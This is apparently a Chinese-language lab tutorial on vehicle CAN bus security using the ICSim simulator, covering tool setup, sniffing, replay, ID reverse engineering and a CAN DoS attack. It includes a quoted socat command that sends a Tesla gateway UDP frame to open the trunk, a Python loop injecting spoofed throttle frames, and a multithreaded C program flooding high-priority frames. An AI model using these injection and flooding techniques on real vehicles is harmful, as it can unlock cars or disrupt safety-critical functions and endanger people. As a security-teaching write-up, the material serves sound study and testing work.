本文主要对CAN总线进行简介,使用ICSim模拟器和一些其他工具实现对CAN总线的基本操作,最后对ICSim模拟器进行CAN DOS攻击
CAN总线(Controller Area Network)是一种广泛应用于汽车、工业控制和其他领域的串行通信协议。它最初由德国公司Bosch在1986年开发,并于1987年正式发布。
现在CAN总线广泛应用于汽车领域,用于车辆内部的多个电子控制单元(ECU)之间的通信,如引擎控制、刹车系统、仪表盘等。此外,它也被广泛应用于工业自动化、机器人技术、医疗设备等领域的分布式控制系统中。
类似于计算机里面的总线,在CAN问世之前,车载通信系统是通过点对点的布线系统实现的。随着车载电子元件越来越多,这种通信系统变得愈发笨重,而且维护费用非常昂贵。这时,CAN应运而生,并成为主流的车载通信系统
如下图,就可以看到总线结构能够节省很多线路
在现实的车辆里我们应该怎么接入整车CAN网络?
通过OBD可以直接访问CAN,并且是最直接的方式。另外,OBD-II也很容易找到:通常位于前排乘客或驾驶员座位附近的某个地方,而且不需要螺丝刀就能连接使用
车上诊断系统(On-Board Diagnostics,缩写为OBD,又译车载自动诊断系统),是一种装置于车中用以监控车辆运行状态和回报异常的系统,可于车辆的子系统出现问题时,产生故障代码和提醒讯号通知车主和车厂诊断维修
一般长这样
不同车型的OBD位置可以在网上进行查询
连接工具一般长这样
也可以自己做线束链接,其实对于OBD口上面,只有两个接口跟CAN相关
也就是这里的6和14,分别是CAN高电平和低电平
小偷们当然不能进入车内,那么汽车小偷是怎么接入CAN网络的呢
请看VCR
汽车黑客们通过远程控制了车内的零部件之后,就会尝试去FUZZ发送CAN恶意报文,从而进一步控制整车功能
以科恩实验室破解特斯拉的案例举例
在攻克网关之后对网关逆向,发现存在安全问题
比如网关将 20100 和 20101 端口上的 UDP 广播视为一种 CAN 报文,并将其传输到真正的 CAN 总线上。
通过发送 UDP,我们可以很容易地伪造一些 UDP 信号来实现车内的对应功能,如锁定或解锁
例如发送如下 UDP 来打开后备箱:
printf "\x00\x00\x02\x48\x04\x00\x30\x07\x00\xFF\xFF\x00" | socat - udp:gw:20100
这些工具只能安装在Linux上,我使用的是Kali Linux 2023-05-12
ICSim(Instrument Cluster Simulator),是由Open Garages推出的工具。它可以产生多个CAN信号,同时会产生许多背景噪声,让我们可以在没有汽车或不改造汽车的情况下即可练习CAN总线的逆向技术。
github地址 https://github.com/zombieCraig/ICSim
下载编译
git clone https://github.com/zombieCraig/ICSim.git
cd ICSim
sudo make
这是因为没有安装依赖,更新库并安装依赖
sudo apt-get update
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf -y
sudo make
目前目录结构如下
启动模拟器
./setup_vcan.sh # 初始化,每次重启后都要重新运行
./icsim vcan0 # 仪表界面
./controls vcan0 # 控制界面
游戏手柄的界面就是控制面板,你可以理解为车内的方向盘和油门加速,开关灯按钮、车门等,也可以插入游戏手柄接入Kali进行控制
接入之后就算你没有操作,也可以看到仪表盘上指针存在抖动,如果完全没抖动,肯定是环境没配好~
如果没有手柄的话可以用键盘进行对应操作
功能 | 按键 |
---|---|
加速 | 上方向键 |
左转向 | 左方向键 |
右转向 | 右方向键 |
开/关左车门(前)锁 | 右/左shift+A |
开/关右车门(前)锁 | 右/左shift+B |
开/关左车门(后)锁 | 右/左shift+X |
开/关右车门(后)锁 | 右/左shift+Y |
开启所有车门锁 | 左shift+右shift |
关闭所有车门锁 | 右shift+左shift |
我们启动 setup_vcan.sh 主要功能是加载CAN和vCAN(virtual controller area network)网络模块。并创建名为vcan0的网络设备并打开连接
项目地址 https://github.com/linux-can/can-utils
can-utils 是一个用于控制与 CAN 总线通信的工具集合。CAN(Controller Area Network)总线是一种广泛应用于汽车和工业领域的串行通信协议,用于实时数据交换。
can-utils 提供了一组命令行工具,用于与 CAN 总线进行通信、调试和分析。以下是 can-utils 的一些主要工具和功能:
使用命令安装即可
sudo apt-get install can-utils
socketcand 是一个开源的软件工具,用于在Linux系统上实现CAN(Controller Area Network)总线的通信。它提供了一个简单且灵活的接口,使用户能够通过套接字(sockets)与CAN总线进行通信。
我们需要用这个工具来让kayak跟CAN总线通信
安装步骤如下:
下载socketcand
git clone https://github.com/linux-can/socketcand.git
cd socketcand获取缺少的文件
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
编译安装
autoconf
./configure
make clean
make
sudo make install
Kayak 是一款功能强大且易于使用的CAN总线分析工具,旨在帮助开发人员和工程师对CAN网络进行诊断、监测和调试。它提供了直观的用户界面,使用户能够轻松地捕获、分析和可视化CAN数据。
有的方法是下载之后本地编译 但是我本地编译会出现问题
不想去解决这种奇奇怪怪的问题,直接下载release版本,下载了之后在bin目录下会有windows版本和linux的运行程序
遗憾的是运行二进制文件也会出现问题,看了一下issue和报错感觉是Kali上的JDK版本太高了,选择另外一个工具吧
官方网站 - https://www.savvycan.com/上是这么介绍SavvyCAN的:
SavvyCAN是一个基于多个QT平台的C++程序,主要用于CAN数据的逆向分析和捕获。它最初是为了介绍EVTVDue和CANDUE等EVTV硬件的用法而编写的。此后,它被扩展到适用于任何socketCAN兼容设备,以及Macchina M2和Teensy 3.x板。它可以同时捕获并发送至多个总线和CAN摄像机。
我们直接下载二进制文件进行使用
wget https://github.com/collin80/SavvyCAN/releases/download/continuous/SavvyCAN-1999da8-x86_64.AppImage
chmod 777 SavvyCAN-1999da8-x86_64.AppImage
./SavvyCAN-044fea3-x86_64.AppImage
这样就启动了
操作的同时熟悉一下工具
我们启动icsim时候,其实创建了名为vcan0的网络设备并且打开了链接,可以使用ifconfig进行查看
我们使用can-utils监听vcan0(虚拟can接口)
candump -l vcan0
会直接存储到同目录下的log文件内
去除 -l 选项之后可以直接打印到屏幕上查看实时流
以第一条can数据进行介绍
(1699536496.340671) vcan0 305#8035
对应的是
(时间戳) can接口 仲裁ID#数据
仲裁ID的数字越低,在网络上的优先级就越高
使用cansniffer进行监听
cansniffer -c vcan0
这里的数据也分为了 time ID data 三部分,跟上面是一样的含义
其中变化的数据会以红色显示
虽然看到其他师傅说这部分可以用cansniffer进行过滤,但是感觉在终端界面里面滚动查询也太麻烦了(可能是我不太熟练)
wireshark无处不在
打开wireshark监听vcan0网口
可以看到其中的数据
wireshark里面查看的也是未去重的结果
之前很多文章里面都说SavvyCAN的QTSerialBus默认被禁用导致无法与ICSim配合使用,但是看了一下最新版本已经可以正常使用了
在 Connection->Open Connection Window->Add New Device Connection 中选择 QT SerialBus Devices,将 SerialBus Devices 选择为 socketcan,将 Port 选择为虚拟端口 vcan0
然后就可以看到SavvyCAN这边已经出现了CAN总线数据
过滤的话可以采用右下角的filter
CAN流量重放能够带来什么危害?
车辆跟充电桩之间的通信部分也是CAN通信,如果CAN流量能够进行重放,没有一定的防御机制,那么攻击者可能可以通过这种方式进行恶意扣费等操作
另一种方式就是通过CAN流量重放重放车内的CAN消息,影响车内功能,导致车辆失控
我们使用canplayer 进行重放数据,重放一个左车灯亮的数据分为下面三步
虽然流量重放能够让我们触发特定的操作,但实际上我们不知道是哪一帧能够触发这个操作,这就需要我们对消息进行逆向,确认仲裁ID
使用SavvyCAN Sniffer操作,可以看到里面有36个仲裁ID,通过观察法过滤掉不活跃ID
简单来说,我们在踩油门的时候,查看哪些仲裁ID对应的数据在变化,没有变化的就取消筛选,重复该操作,直到确认具体的ID值
运行的时候可以看到随着我们一直踩油门,0x224对应的data在不断递增,说明0x224ID对应的就是油门操作
使用cansend发送数据
cansend vcan0 244#0000003894
但是这个只会有一瞬间的数值增大
找了一下cansend好像也没有循环发送的功能
写个python来持续发送
import os import time while True: os.system("cansend vcan0 244#0000003894") time.sleep(1)
当然还可以通过二分法和统计法来得到对应ID的实际作用
前面提到CAN总线协议中基于优先级的仲裁机制,我们很容易会想到通过发送高优先级的CAN消息,让其他总线消息得不到响应,从而实现对CAN的DOS攻击
我们先找到两个低优先级的操作,为了做对比实验
然后找一个高于他们的,这里使用的左转向灯
为了速度用C语言编一个多线程,开100个线程库库冲
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> void* send_message(void* arg) { while (1) { system("cansend vcan0 188#01000000"); } return NULL; } int main() { pthread_t threads[100]; for (int i = 0; i < 100; i++) { pthread_create(&threads[i], NULL, send_message, NULL); } while (1) { sleep(1); } return 0; }
编译成attack可执行文件
gcc -o attack main.c -pthread
运行attack之后,等待左转向灯稳定,监听到的速率最大可以到1-30000hz
但是还是有抖动,所以只能是造成部分CAN数据干扰,不能百分百干扰
在下图中,我们先发送了一条开启车门的指令,开启成功
接下来发送了七条关闭车门的指令,在第七条的时候才关闭成功
具体操作的时候可能数据每个人电脑上应该不一样,不过还是可以感觉到是有变化的,部分数据会产生丢失,造成对应的指令没有执行成功
找了一圈好像没有特别典型的工具,以该工具为例 - https://github.com/souravbaghz/Carpunk
使用该工具的选项6是进行DOS攻击,看看源代码
这里只是简单发送了一条000#0000000000000000的can数据
仿佛是拆开了米格25 orz
在对整车CAN进行渗透测试的过程中,我们会对CAN总线进行重放、DOS等检测,除了仲裁ID DOS的方式外,有的时候发送特定的CAN数据帧也可以直接让车内零部件崩溃或者发出警报,不过icsim模拟器看上去没有这个扩展功能
不同的车机造成DOS的CAN数据帧不同,而且大多数情况下也没有使用手册,需要在实际接入的情况下去不断FUZZ,修改数据帧,检查是否达到自己的效果